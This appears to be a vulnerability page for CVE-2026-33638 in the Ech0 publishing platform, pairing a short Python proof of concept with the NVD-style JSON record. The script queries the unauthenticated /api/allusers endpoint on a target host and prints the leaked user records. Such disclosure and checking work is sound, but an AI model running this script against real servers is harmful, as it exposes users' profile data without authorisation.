CVE-2026-33638

import requests # Target URL (replace with actual target) target_url = "http://<target_host>/api/allusers" def check_vulnerability(): try: # Send a GET request to the vulnerable endpoint without authentication response = requests.get(target_url, timeout=10) # Check if the response status is 200 and contains JSON data if response.status_code == 200: try: data = response.json() print("[+] Vulnerability Confirmed!") print("[+] Leaked User Data:") print(data) except ValueError: print("[-] Response received but not JSON format. Might be patched.") else: print(f"[-] Status Code: {response.status_code}. Endpoint might be protected or down.") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") if __name__ == "__main__": check_vulnerability()

{"cve": {"id": "CVE-2026-33638", "sourceIdentifier": "[email protected]", "published": "2026-03-26T21:17:07.467", "lastModified": "2026-03-31T21:09:16.307", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Ech0 is an open-source, self-hosted publishing platform for personal idea sharing. Prior to version 4.2.0, `GET /api/allusers` is mounted as a public endpoint and returns user records without authentication. This allows remote unauthenticated user enumeration and exposure of user profile metadata. A fix is available in v4.2.0."}, {"lang": "es", "value": "Ech0 es una plataforma de publicación de código abierto y autoalojada para compartir ideas personales. Antes de la versión 4.2.0, `GET /api/allusers` está montado como un endpoint público y devuelve registros de usuario sin autenticación. Esto permite la enumeración remota de usuarios no autenticados y la exposición de metadatos de perfil de usuario. Una solución está disponible en la v4.2.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-862"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ech0:ech0:*:*:*:*:*:*:*:*", "versionEndExcluding": "4.2.0", "matchCriteriaId": "10A3DFF1-8E0A-435D-BD3D-1615E472D006"}]}]}], "references": [{"url": "https://github.com/lin-snow/Ech0/commit/acbf1fd71011e6b9e1e6a911128056a19862f681", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/lin-snow/Ech0/releases/tag/v4.2.0", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/lin-snow/Ech0/security/advisories/GHSA-m983-7426-5hrj", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}